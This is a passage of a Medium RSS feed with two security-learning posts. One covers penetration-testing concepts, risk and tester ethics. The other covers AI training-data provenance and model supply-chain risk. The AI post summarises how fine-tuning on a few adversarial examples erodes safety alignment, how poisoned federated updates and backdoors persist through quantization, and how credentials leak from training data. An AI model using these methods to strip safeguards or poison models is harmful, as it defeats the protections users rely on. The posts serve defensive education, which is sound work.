to assess trust relationships, access controls, and network segmentation to identify weak configurations and determine whether the security controls can limit the impact of a compromise.</p><p>The diagram above shows a simple interaction between a penetration tester and a network, both from an external and internal perspective.</p><ul><li><strong>Authentication mechanisms</strong>: This area is evaluated for weaknesses in network-level authentication controls such as password policy, multi-factor authentication (MFA) enforcement, credential reuse, use of default credentials, and protection against attacks on services such as admin portals, VPN, SSH, or RDP.</li><li><strong>Authorization and access controls</strong>: This area is evaluated for weaknesses in network access control mechanisms, ensuring users and systems can only access resources permitted by their role or trust level.</li><li><strong>Network segmentation and trust relationships</strong>: This area is evaluated for weaknesses in user and system trust relationships, firewall rules, and isolation controls.</li><li><strong>Configuration and patch management</strong>: This area is evaluated for gaps in device configurations and services, such as use of outdated software, insecure default configuration, and weak encryption protocols.</li></ul><p>Ultimately, modern web applications and networks are built with different interconnected components and systems. Identifying the attack surface helps organizations find all entry points that could contain weaknesses and provide unauthorized access to threat actors. Additionally, it helps in defining the scope of a penetration test prior to the engagement execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JllHR5j7RPPl9PVwGVMYjw.png" /></figure><h4>Vulnerability, Threat, and Risk</h4><p>Vulnerability, threat, and risk are core concepts in cyber security that are commonly used together. They allow organisations to assess and manage their security concerns in a structured way. As a penetration tester, understanding the relationship between these concepts will enable you to clearly communicate findings and their significance to stakeholders.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/306/0*ZXCohfrGwU8LpKaS.png" /></figure><h4>Vulnerability</h4><p>A vulnerability is a weakness or gap in an organisation’s environment that could be exploited to compromise the security of systems, data, or operations. While it does not cause harm on its own, it presents an opportunity for exploitation.</p><p>Vulnerabilities come in many types. For simplicity, we will focus on technical vulnerabilities, which are weaknesses in software, systems, or configurations that can be exploited due to coding errors, insecure settings, or flawed system design.</p><p>For example, a web server running outdated software with known flaws is a vulnerability. The weakness exists, but nothing happens unless it is taken advantage of.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/0*N3yO14e1k0XtlwU4.png" /></figure><h4>Threat</h4><p>A threat is anything that can exploit a vulnerability and cause harm to an organization&#39;s environment. It represents a source of danger that can take advantage of a weakness to compromise the confidentiality, integrity, and availability of the organization&#39;s systems.</p><p>Threats may include malicious actors such as cybercriminals, insider threats, or tools that are used to perform automated attacks. They may also be non-malicious events like system failures, human error, or environmental incidents.</p><p>For example, an attacker scanning the internet for outdated servers is a threat. They have the capability and intent to exploit the vulnerability.</p><p>More recently, attackers have been utilizing artificial intelligence (AI) in order to automate attacks, discover weaknesses at scale, and accelerate exploitation. This makes AI a significant threat in modern security environments due to its capacity to increase the speed and sophistication of attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/0*wXIza_wd4KN9pkqz.png" /></figure><h4>Risk</h4><p>Risk is the potential damage that could occur if a threat successfully exploits a vulnerability. We can determine the overall risk of a vulnerability by combining the impact and likelihood of exploitation. In some cases, a vulnerability that may look harmless could cause significant risk if it affects critical systems. In contrast, a vulnerability that may look harmful could only cause minimal risk if it exists in an isolated environment.</p><p>The following formula is commonly used to simplify the calculation of overall risk: Vulnerability * Threat = Risk.</p><p>This formula is a simplified model intended to illustrate the relationship between the contributing factors, rather than a formal risk calculation. A vulnerability on its own does not pose a risk if there is no threat that can leverage it. Likewise, a threat cannot cause impact if there is no vulnerability to exploit.</p><p>Below are practical examples of how risk is calculated.</p><p><strong>Low Risk</strong></p><p>Imagine a web application displays detailed error messages when invalid input is submitted.</p><ul><li><strong>Vulnerability:</strong> Verbose error messages revealing internal file paths</li><li><strong>Threat:</strong> Attackers triggering errors to gather system information</li><li><strong>Risk:</strong> Limited information disclosure that may help reconnaissance but does not directly compromise the system</li></ul><p><strong>High Risk</strong></p><p>Imagine a web application that allows users to change an account ID parameter in a request and access other users’ data.</p><ul><li><strong>Vulnerability:</strong> Broken access control allowing unauthorized access to user data</li><li><strong>Threat:</strong> Attackers modifying request parameters to retrieve or alter other sensitive user information</li><li><strong>Risk:</strong> Exposure or manipulation of sensitive customer data, leading to data privacy violations and regulatory consequences</li></ul><h3>Risk Management</h3><p>Risk management is a structured process that many organizations use to identify, evaluate, and control security risks over time. Effective risk management means understanding which risks matter most and applying appropriate controls to eliminate or reduce their impact or likelihood of exploitation.</p><p>Risk management is typically an ongoing cycle consisting of four stages:</p><ul><li><strong>Identification</strong>: Identifying assets, vulnerabilities, and potential threats that could affect the organization.</li><li><strong>Analysis</strong>: Evaluating risks to determine the potential impact and likelihood of exploitation, which translates to the severity of each risk and helps plan remediation efforts.</li><li><strong>Mitigation</strong>: Reducing or controlling identified risks. This may include applying security patches, strengthening access controls, improving configurations, implementing monitoring tools, or redesigning insecure processes.</li><li><strong>Monitoring</strong>: Continuous monitoring of risks to ensure that controls remain effective, new vulnerabilities are detected, and emerging threats are addressed promptly.</li></ul><p>In some cases, organizations may choose to accept or transfer risk if mitigation is not practical or cost-effective. Accepting a risk is usually chosen if the impact is minimal and the cost of reducing the risk outweighs the benefit. Transferring risk means shifting the responsibility to a third party, such as purchasing an insurance policy that would cover the cost that comes with the risk.</p><p>An example where a company would accept the risk is if they discover that their internal web application displays the server version in the server header. The company decides to accept the risk because the version is up to date, the web application is only exposed internally, and it does not contain sensitive data. However, mitigating the risk is costly and requires time and resources.</p><p>In contrast, an example where a company would transfer the risk is if they operate an online platform that stores personal and payment information of their customers. The company decides to transfer the risk by purchasing a cyber insurance policy to cover the financial cost if a data breach occurs, because even though security controls are in place and effective, the risk cannot be fully removed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GnmxVVvPnmwuXs7FQ3_EyA.png" /></figure><h4>Why Vulnerabilities Exist</h4><p>Vulnerabilities can occur through flaws, features, or human error, which can result in compromise of data and resources, and attackers can exploit one or more to achieve their goal. In this task, we will cover some of the most common reasons why vulnerabilities exist.</p><h3>Human Assumptions</h3><p>Developers who are not security-aware often assume that users will use systems as intended. Attackers intentionally challenge this assumption by using systems in unintended ways to expose weaknesses.</p><p>For instance, a developer who assumes that users will only upload image files as their profile picture. The lack of file validation controls allows an attacker to upload a malicious script, which is then executed by the server.</p><h3>Software Bugs</h3><p>Programming errors can introduce unintended behaviour that could pose a security risk, which may arise from logic mistakes and incomplete validation. A poorly written code may work as designed, but could be flawed if not securely coded.</p><p>For instance, a web application fails to properly validate input when processing form data that interacts with a database. An attacker submits a specially crafted input that alters the SQL query, enabling them to gain unauthorised access to sensitive data.</p><h3>System Complexity</h3><p>Modern environments consist of many interconnected components such as APIs, microservices, databases, and third-party integrations. The likelihood of a misconfiguration occurring in these complex environments is higher, which could lead to an exploitable vulnerability.</p><p>For instance, a company with multiple services integrated into their web application, like an authentication provider or third-party payment processor, might overlook a misconfiguration that exposes administrative APIs. Due to the complexity of interactions between these components, this misconfiguration allows an attacker to access critical administrative APIs that were not meant to be exposed.</p><h3>Over Customisation</h3><p>Extensive customisation of software or workflows can introduce inconsistencies and unintended security gaps. Custom features may not follow standard security practices, and heavily modified systems can be difficult to maintain, update, or patch properly.</p><p>For instance, an organisation that develops a custom authentication feature instead of using a standard login framework may implement their own password storage, session handling, and account recovery logic in order to meet their internal requirements. However, these can be difficult to maintain over time. Customisations can become outdated and lead to insecure practices like weak hashing algorithms or inconsistent session timeouts.</p><h3>Technical and Design Flaws</h3><p>Technical and design flaws could occur when security is not built into the design from the beginning. The source of these flaws may not be intentional, but can pose a huge risk in an organisation’s security.</p><p>For instance, implementing multi-factor authentication in an existing web application. Developers might implement the feature, but overlook the existing design where a fully authenticated session cookie is issued before the MFA process is completed. This oversight allows an attacker to navigate to authenticated pages without completing the MFA process.</p><h3>Common Causes and Resulting Vulnerabilities</h3><p>The table below maps each common cause to a resulting vulnerability that an attacker could exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nFGRy5GG1HWu19HF_DQQOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GMv2G-CX1iA4yE_TmIvHfw.png" /></figure><h4>The Pentester Mindset</h4><p>Technical skills alone are not enough to define the proficiency of a penetration tester. While understanding how vulnerabilities can be exploited is important, knowing how to effectively execute penetration tests is equally valuable. This task covers some of the behaviours and habits that can help penetration testers produce meaningful results.</p><h3>Good vs Bad Mindset During a Penetration Test</h3><p>In order to produce meaningful results from a penetration test, it is critical to have a methodical and structured approach. In addition, the ability to adapt to changing environments is essential for maintaining quality throughout different assessments. Having a strong foundation and process not only helps achieve comprehensive coverage but also ensures that overall risk is properly assessed.</p><p>A good mindset when performing penetration tests includes several qualities. The following examples highlight characteristics that expand on these qualities:</p><ul><li><strong>Understanding the system</strong>: In most cases, systems behave differently from one another. Having a strong understanding of how the target operates will help testers plan ahead and gain the context to explore potential exploitation opportunities.</li><li><strong>Attention to detail</strong>: Observing how the application behaves and noticing small differences in certain scenarios often results in impactful findings.</li><li><strong>Constant curiosity</strong>: Constantly asking “What if?” type of questions helps uncover many ideas that can be explored and open further opportunities to identify weaknesses.</li><li><strong>Prioritising critical areas</strong>: Focusing on high-impact functions before lower-risk features ensures that effort is directed towards areas where security issues would cause greater business impact.</li><li><strong>Thinking in context</strong>: Understanding how a feature is used and what data it handles helps assess risk more accurately and allows findings to be evaluated based on real-world consequences rather than technical severity alone.</li><li><strong>Creative thinking</strong>: Hardened systems usually create an assumption that weaknesses may not exist. Approaching these systems with creativity allows a tester to identify weaknesses that could otherwise be overlooked. This approach may involve linking two vulnerabilities in order to achieve greater impact.</li></ul><p>A poor mindset when performing penetration tests can reduce the quality of an assessment and lead to missed or inaccurate findings. The following examples highlight characteristics that could result in unreliable testing:</p><ul><li><strong>Rushing to exploitation:</strong> Attacking a system without understanding how it works often leads to overlooked weaknesses. Additionally, this approach can increase the risk of disrupting systems, which could lead to limitations in testing.</li><li><strong>Ignoring context:</strong> Focusing only on technical success without considering business impact could result in findings that are lacking real-world relevance.</li><li><strong>Over-reliance on tools:</strong> Depending too much on automated tools without proper analysis may produce false positives or miss logic-based issues that require manual testing.</li><li><strong>Making assumptions:</strong> Assuming how a system or functionality works without verification may cause testers to overlook important behaviours.</li><li><strong>Tunnel vision:</strong> It is easy to become fixated on one functionality, especially if a tester thinks that it will lead to a critical finding. This behaviour typically leads to time wasted, which can reduce coverage and prevent exploration of other areas that may contain more significant weaknesses.</li><li><strong>Blindly following a checklist</strong>: While having a comprehensive checklist is useful in ensuring full coverage, depending on it too much could reduce a tester’s ability to think creatively and lead to missed opportunities for more significant findings. Additionally, it could create an assumption that testing is finished once the checklist is completed.</li></ul><p>The table below summarizes the contrast between effective and ineffective mindsets during a penetration test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrtZIw7zyL6dzsBrKNN51A.png" /></figure><h3>Common Best Practices During a Penetration Test</h3><p>Applying best practices throughout a penetration test helps maintain consistency and improve the overall quality of the engagement. The following examples highlight common habits that strengthen the testing process and the value of the final results:</p><p><strong>Maintaining Good Notes</strong></p><p>Keeping detailed notes throughout a penetration test helps a tester track their activity, findings, and observations as the assessment progresses. Good notes make it easier to reproduce issues later if required, and ensure that nothing important is forgotten.</p><p>For instance, if a vulnerability is discovered early in the assessment, having detailed notes allows the tester to revisit it later without repeating the entire process.</p><p><strong>Collecting Evidence</strong></p><p>Similar to maintaining good notes, collecting evidence such as screenshots, tool output, or logs supports the validity of findings and provides clear proof of impact. Collecting evidence while testing helps save time by avoiding unnecessary reproduction of issues during reporting, which could take a considerable amount of time.</p><p><strong>Managing Time</strong></p><p>Penetration tests are performed within fixed timelines. Managing time effectively allows a tester to balance effort across different areas and ensure that sufficient time is spent on critical functions and reporting. Instead of spending hours on a low-impact feature, it is better to prioritise authentication or access control functionalities where security failures would have a greater impact.</p><p>Additionally, working on the report as you go is a good habit that significantly helps in managing time effectively. Oftentimes, reporting effort is included in the timeline and ensuring that it is performed within the timeline is crucial in preventing burnout and ensuring that deliverables are submitted in a timely manner. One scenario where reporting as you go becomes useful is when a critical risk finding is discovered towards the end of an engagement. Documenting new findings alongside existing ones and collecting evidence can be time consuming. This could create unnecessary pressure, especially when the engagement is about to conclude.</p><p><strong>Proactive Communication</strong></p><p>Maintaining proactive communication during a penetration test helps keep the engagement on track by providing regular progress updates and highlighting blockers early. Communicating roadblocks allows issues to be addressed as soon as possible. While no engagement is perfect, proactive communication ensures that effort can be redirected when needed, support can be provided, and the overall impact on coverage can be reduced.</p><p><strong>Staying Professional</strong></p><p>Professional behaviour throughout the penetration testing lifecycle builds trust between the tester and the organisation that is being assessed. Respecting scope boundaries, handling sensitive data responsibly, and conducting testing in a controlled manner are some of the essential habits that maintain professionalism.</p><p>Professionalism also applies when it comes to communicating a finding to stakeholders. Explaining a finding’s business impact rather than just the technical details helps stakeholders understand its significance. It also reinforces the tester’s credibility and reliability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_IbqQpGL-H-KHGhAxqCeNQ.png" /></figure><h4>Ethics, Permission, and Trust</h4><p>Ethics, permission, and trust are three principles that must be taken into account in order to ensure that assessments are conducted professionally. Because penetration testing often requires access to sensitive systems and data, enforcing these principles is essential in protecting organisational assets and minimising risk throughout the assessment. Following these principles ensures that activities are aligned with the organisation’s goals.</p><h3>Ethics</h3><p>Ethics in penetration testing is demonstrated by responsibly assessing systems that may contain sensitive data or critical functionalities. Ethical behaviour helps a penetration tester make responsible decisions throughout an assessment, ensuring that actions are intentional and justified. Examples of how ethical behaviour is enforced in practice during a penetration test are:</p><ul><li>Respecting the defined scope and avoiding activities outside authorised boundaries</li><li>Avoiding actions that could disrupt systems and services</li><li>Handling sensitive data responsibly and only accessing data that is required to demonstrate impact</li><li>Stopping and reporting unexpected access to highly sensitive or out-of-scope systems</li><li>Redacting sensitive data in reports to prevent unintended disclosure</li></ul><h3>Permission</h3><p>Permission in penetration testing is established through formal authorisation and a clearly defined scope before executing an engagement. Obtaining proper authorisation ensures that all activities are approved by the organisation being assessed and align with their expectations and goals. The following examples illustrate how permission is respected in practice during a penetration test:</p><ul><li>Obtaining written authorisation before initiating any testing activities</li><li>Defining a clear scope and adhering to the agreed-upon scope of testing</li><li>Confirming testing windows and approved methods before conducting potentially disruptive actions</li><li>Seeking clarification when uncertainty exists about whether a system or action is in scope</li><li>Pausing and notifying the organisation if activities may exceed authorised boundaries</li></ul><h3>Trust</h3><p>Organisations may initially be cautious when allowing external testers to assess their systems. However, many organisations rely on independent assessments by external parties to properly evaluate and improve their security posture. Therefore, establishing trust from the very beginning is valuable. The examples below illustrate how trust can be built and maintained during a penetration test:</p><ul><li>Providing status updates periodically to reassure stakeholders that testing is progressing as planned</li><li>Being transparent about limitations, blockers, and uncertainties during testing in order to receive proper assistance</li><li>Reporting findings accurately and clearly demonstrating business impact</li><li>Providing actionable recommendations that help eliminate or mitigate risks</li><li>Addressing organizational concerns promptly and adapting communication style to technical and non-technical stakeholders</li></ul><p>Ethics, permission, and trust are principles that allow penetration testing to exist as a professional security practice. These principles ensure that testing is performed professionally and thoroughly, while also protecting both the tester and the systems being assessed. By consistently applying these principles throughout an engagement, penetration testers help preserve the credibility of penetration testing as a trusted, reliable, and professional security practice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UBB0Ua-Qgy4aiY13tfdJGg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ca8d8473956" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AI Models & Data]]></title>
            <link>https://medium.com/@alina.moldovan12/ai-models-data-f3a21482a117?source=rss-97028caf4c6f------2</link>
            <guid isPermaLink="false">https://medium.com/p/f3a21482a117</guid>
            <dc:creator><![CDATA[alina moldovan]]></dc:creator>
            <pubDate>Tue, 14 Apr 2026 07:38:53 GMT</pubDate>
            <atom:updated>2026-04-14T07:38:53.865Z</atom:updated>
            <content:encoded><![CDATA[<p>Explore how data is fundamental to AI security, and the models which power it.</p><h4>Training Data</h4><p>Before a model can be trained, data must be collected and cleaned. But let’s slow down a tad and ask the questions that the lifecycle diagram doesn’t answer: collected from where, and cleaned by whom?</p><h4>Where Does the Data Come From?</h4><p>Training a large language model requires a staggering amount of text. GPT-3 was trained on roughly 570GB of filtered text, and that’s considered relatively modest by “modern” standards. To hit numbers like that, developers can’t carefully hand-pick sources. The pipeline typically draws from four buckets:</p><ul><li>Web scraping: automated crawls of public internet content. Low trust profile(no curator, no version control, content changes after collection)</li><li>Licensed datasets: data purchased or agreed with platforms. Medium trust profile(terms often unclear, original users rarely consented to AI training use)</li><li>Synthetic data: AI-generated content used to train further AI systems. Variable trust profile(growing fast; ~12% of fine-tuning datasets now contain LLM-generated content)</li><li>Internal corporation: Company knowledge bases, support transcripts, clinical notes used for fine-tuning. High trust profile(organization has direct control, but also direct liability if mishandled)</li></ul><p>The most widely used training dataset is <a href="https://commoncrawl.org/">Common Crawl</a>, a free, publicly available archive of web crawl data that has underpinned essentially every major model family. DeepSeek-V2 was pretrained on it; DeepSeek-V3 trained on 14.8 trillion tokens with Common Crawl as a core source; and LLaMA 4 was scaled to 40 trillion tokens across 200 languages using a similar pipeline. GPT-3 is one of the few models whose breakdown is publicly documented: 60% of its tokens came from a filtered version of Common Crawl, and more recent models lean even more heavily on it. The keyword is “filtered”, and how that filtering was done, by whom, and what slipped through is where the security story begins.</p><h4>The Problem of Provenance</h4><p>Data provenance is the ability to answer three questions about any piece of training data:</p><ol><li>Where did it come from?</li><li>When was it collected?</li><li>Has it been modified since?</li></ol><p>In most AI supply chains today, the honest answer to all three is we don’t fully know. Most major models are essentially trained on datasets of datasets, huge composites assembled from hundreds of upstream sources, where the original attribution has been lost, simplified, or never recorded in the first place. The <a href="https://www.dataprovenance.org/">Data Provenance Initiative</a> audited over 1,800 datasets and found that more than 70% of licenses on popular hosting platforms were listed as “Unspecified”, and of those that were labelled, 66% were miscategorized, usually listed as more permissive than they actually were. Organizations fine-tuning on these datasets often don’t know what they legally have, let alone what’s actually inside it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OwqR8r_UQ-PCkM2M.png" /></figure><p>The software security world has been here before. SolarWinds taught the industry that you can’t trust a compiled binary if you don’t know what went into it, which is exactly why software bills of materials (SBOMs) became standard practice. The AI equivalent is the ML-BOM: a documented inventory of dataset sources, licenses, PII categories, and filtering decisions. Adoption is still early, and most organizations deploying third-party models today have nothing close to one.</p><h4>PII in the Pipeline</h4><p>One of the most direct consequences of undocumented, large-scale web scraping is that personally identifiable information ends up baked into model weights. Once it’s there, it’s very difficult to remove. Medical records, personal email threads, forum posts about health conditions or political views: all of it gets swept up if it was publicly accessible at crawl time. The EU’s GDPR explicitly requires data minimization (collect only what’s necessary). This sits in direct tension with the “more data is always better” logic driving pre-training.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0zMkOeOUbwil92el.png" /></figure><p>The security implication is measurable and concrete. <a href="https://trufflesecurity.com/blog/research-finds-12-000-live-api-keys-and-passwords-in-deepseek-s-training-data">Truffle Security</a> scanned the December 2024 Common Crawl archive (400TB of data from 2.67 billion web pages) and found nearly 12,000 live, verified API keys and passwords. With the right prompt, a model trained on that data can sometimes be coaxed into surfacing training content near-verbatim, including credentials. This isn’t a bug introduced by an attacker. It’s a consequence of what went in during training, and no patch fixes it once the model is deployed.</p><h4>A Model Engineer</h4><p>A model’s behaviour is a direct product of what it was trained on. If that data was scraped without audit, contaminated with PII, or manipulated upstream, those characteristics become part of the model, and there’s no reliable way for the organisation deploying it to know. The data supply chain is as real and as exploitable as a software supply chain. For organizations right now, it’s almost entirely invisible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BHLymf5aXHGDBnEsIY6F1A.png" /></figure><h4>Building the Model: Key Concepts</h4><h4>Epochs and Overfitting</h4><p>An <strong>epoch</strong> is one complete pass of the training algorithm through the entire dataset. In practice, models are trained over many epochs. The algorithm repeatedly sees the same data, adjusting its parameters each time until it converges on accurate predictions.</p><p>The catch is that more epochs don’t always mean a better model. Train for too long and the model stops learning general patterns and starts memorizing training data specifically, a problem called <strong>overfitting</strong>. An overfit model performs well on its training data but poorly on other data. This matters for security because overfitting is one mechanism by which a model can “memorize” specific details from its training data, including sensitive ones, making it more likely to reproduce them when prompted.</p><h4>Model Validation</h4><p>To catch overfitting early, a portion of the training data is held back and never used for training; this is the <strong>validation set</strong>. At regular intervals during training, the model is tested on unseen data to check whether its performance is actually generalising or just improving on the training examples it’s seen before. If training accuracy keeps climbing but validation accuracy plateaus or drops, that’s overfitting in real time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*N-0H2wd1-bfqQVMn.png" /></figure><p>From a security perspective, validation is the quality gate in the ML lifecycle. A model that skips thorough validation is one whose real-world behaviour is unknown, and such unknown behaviour is a security risk. It also means any biases or anomalies introduced through compromised training data may go undetected until the model is already deployed</p><h4>Post-Training Optimisation: Pruning and Quantisation</h4><p>Once a model is trained, it often goes through compression steps before deployment (particularly if it needs to run efficiently on limited hardware). Two of the most common are <strong>pruning</strong> and <strong>quantization</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FFEw0cIhapVYL3NGjGdbgQ.png" /></figure><p>Both steps are applied after the training is complete, often by a different third-party team packaging the model for distribution. Research has shown that quantization can silently degrade the safety mechanisms built into a model; defenses that worked on the full-precision version may fail to detect backdoors once the model is compressed. When an organization downloads a quantized model without documentation of what changed during compression, they’re inheriting unknown behavior modifications alongside efficiency gains.</p><h4>Federated Learning</h4><p>All the training approaches covered so far assume that data flows into a single central location for model training. <strong>Federated learning</strong> flips this: the model is trained across many decentralised devices or organisations, with each participant training locally on their own data and only sending weight updates (not the raw data itself) back to a central server for aggregation.</p><p>This was designed with privacy in mind. A hospital sharing patient records to train a model is a data protection problem; a hospital contributing model updates without ever sending the records is a much easier conversation. In that sense, federated learning genuinely does reduce privacy risk at the data level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PZHX7pmRDXL7-YCU.png" /></figure><p>The security trade-off, however, is that the integrity of the training process becomes much harder to verify. In a centralized setup, the organization that trains the model controls the data. In a federated setup, participants can submit poisoned local updates (subtly manipulated gradients designed to skew the global model’s behavior), and these can be very difficult to detect at the aggregation stage. The question shifts from “who controls the data?” to “who controls the aggregation, and can any participant corrupt it?”</p><p>Federated learning is therefore an interesting case study in security trade-offs: it solves one trust problem by distributing control, but in doing so creates a different one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a8GUoxhSf1HnwWSmWXkLOw.png" /></figure><h4>Pre-Trained Models &amp; Fine-Tuning</h4><p>A pre-trained model is one that has already been trained on a large, general-purpose dataset (the kind of web-scale corpus discussed in Task 2). These base models learn broad language understanding: grammar, facts, reasoning patterns, and world knowledge. They’re produced by a small number of well-resourced organizations and then made available for others to build on, either through open weights (like Meta’s LLaMA family) or through API access (like OpenAI’s GPT series).</p><p>Fine-tuning is the process of continuing to train one of these pre-trained models on a smaller, task-specific dataset. A healthcare company might fine-tune a base model trained on clinical documentation to improve its understanding of medical terminology. A law firm might fine-tune on case law. The result is a model with the broad capabilities of the base model, now specialized for a particular domain or use case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IyLzeKzRRwlONtHD.png" /></figure><p><strong>What fine-tuning changes:</strong> the model’s task-specific behavior, tone, and domain knowledge.</p><p><strong>What fine-tuning does not change:</strong> the base model weights (the billions of parameters shaped by pre-training on data the fine-tuning organization never saw and almost certainly never audited).</p><h3>The Inheritance Problem</h3><p>This is where the security concern sits. When you fine-tune a pre-trained model, you inherit everything that model already contains. This includes things you cannot see and did not choose:</p><ul><li>Biases baked in during pre-training persist</li><li>Unexpected behaviours introduced by the base model’s training data carry through</li><li>Any safety alignment built into the base model is not as durable as it might appear</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6c-bkXN_uSPnsp-7.png" /></figure><p>This shows up in three concrete ways:</p><p><strong>1. Safety alignment erodes, not breaks</strong></p><p><a href="https://arxiv.org/abs/2310.03693">Stanford and Princeton</a> found that the defense mechanisms of aligned LLMs can be compromised by fine-tuning on as few as 10 adversarial crafted examples (at a cost of under $0.20). Even benign fine-tuning on legitimate data degraded safety as a side effect.</p><p>Think of safety alignment like a well-worn path through a forest. The model has been trained to follow this safe path when generating responses. Fine-tuning is like adding new paths through the same forest. Even if those new paths are legitimate (like teaching medical terminology), they can gradually obscure the original safe path. The model hasn’t forgotten how to be unsafe; the probability weights have just shifted, making unsafe responses more likely again. The defense mechanisms don’t snap; they wear down.</p><p><strong>2. Specialization increases attack surface</strong></p><p><a href="https://blogs.cisco.com/security/fine-tuning-llms-breaks-their-safety-and-security-alignment">Cisco</a> found that fine-tuned models are measurably more susceptible to prompt injection than the base models they were fine-tuned on. The reason is structural: fine-tuning narrows the focus, reducing resilience to unexpected tokens. Think of it like this: a model fine-tuned on financial records gets better at financial reasoning, but also becomes more responsive to an attacker who frames their prompt in financial terms.</p><p><strong>3. Version matters, and it’s rarely tracked</strong></p><p>Fine-tuning always targets a specific checkpoint of a base model. If that checkpoint later turned out to contain a backdoor or problematic training data, every derivative inherits it, regardless of whether anyone downstream was told. Without knowing exactly which version a model was fine-tuned from, there’s no way to assess that exposure after the fact.</p><h3>Inheritance Tax</h3><p>When your organization deploys a fine-tuned model, you’re not deploying the fine-tuning work your team did; you’re deploying the entire pre-trained base beneath it. That base was shaped by a training process you didn’t control, on data you didn’t audit, by an organization whose supply chain you almost certainly haven’t reviewed. Fine-tuning is powerful, but it doesn’t sanitize what came before it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LsfPGg6s_IKBEsEAFIvKMw.png" /></figure><h4>Models Are a Black Box</h4><p>When a security team wants to audit a piece of software, they have options. Source code is readable. Even compiled binaries can be disassembled, stepped through, and reasoned about. A trained model’s weights are neither. They’re billions of floating-point numbers (the cumulative result of a training process), and they carry no human-readable record of how they were shaped, what data influenced them, or what behaviours they encode. You cannot open a model and find the decision that makes it behave a certain way. This is a “black box” in the truest sense.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PgjDPuV5AIXO2h7m.png" /></figure><p>This means trusting a model is, fundamentally, trusting the process that produced it. You can test its behavior: run inputs through it, benchmark it against known tasks, and probe it with adversarial prompts through red teaming. All of these are valuable, but they’re sampling, not auditing. They can tell you how the model behaved on the inputs you tried. They cannot tell you what it will do on inputs you haven’t thought of yet. The attack surface is defined by the model’s training, which is opaque.</p><h4>Model Cards</h4><p>The documentation artefact designed to address this is the <strong>model card</strong>: a structured document that accompanies a model and describes what it is, how it was built, and where it falls short. The concept was introduced by <a href="https://arxiv.org/abs/1810.03993">Google researchers in 2019</a> and has since become the closest thing the industry has to a standard transparency format.</p><p>A well-formed model card should give you the answers to the questions you can’t get by inspecting the weights themselves:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*unSI_A4c5jnC4SfqhUiMXw.png" /></figure><p>Think of it like a nutritional label for an AI model. You can’t see inside the product, but the label is supposed to tell you what went into it and what to watch out for.</p><h4>The Gaps</h4><p>Have you ever checked out a food label, and it all sounds good until you find out your chicken slices are only 49% chicken? Well, in practice, model cards can also be frequently incomplete, vague, or (in some cases) absent entirely. Unlike food labels, there’s no regulatory requirement to produce one; as of now, it remains voluntary for most use cases. The incentive to be thorough is weak when disclosing limitations might reduce adoption. The <a href="https://arxiv.org/abs/2310.16787">Data Provenance Initiative</a>’s audit of over 1,800 datasets found documentation gaps throughout the AI supply chain, and model cards sit at the end of that same underdocumented pipeline.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yje-Mx-uFBFQ7weK.png" /></figure><p>From a security standpoint, a sparse or missing model card isn’t an inconvenience; it’s a warning sign. It means the organization distributing the model either didn’t evaluate it thoroughly enough to document findings, or chose not to share what they found. Either way, the downstream user is flying blind.</p><h4>In Short</h4><p>The model card is your audit trail. In the absence of one, there is no audit trail, just a black box and the hope that whoever built it was thorough. In security, hope is not a control.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bR2u3tFl1b-2R4JvChE-Yw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EacoOm2HEVNlnR5E0dXcaA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f3a21482a117" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Elastic: Using Elastic Defend]]></title>
            <link>https://medium.com/@alina.moldovan12/elastic-using-elastic-defend-962de20602de?source=rss-97028caf4c6f------2</link>
            <guid isPermaLink="false">https://medium.com/p/962de20602de</guid>
            <dc:creator><![CDATA[alina moldovan]]></dc:creator>
            <pubDate>Thu, 09 Apr 2026 09:30:43 GMT</pubDate>
            <atom:updated>2026-04-09T09:30:43.310Z</atom:updated>
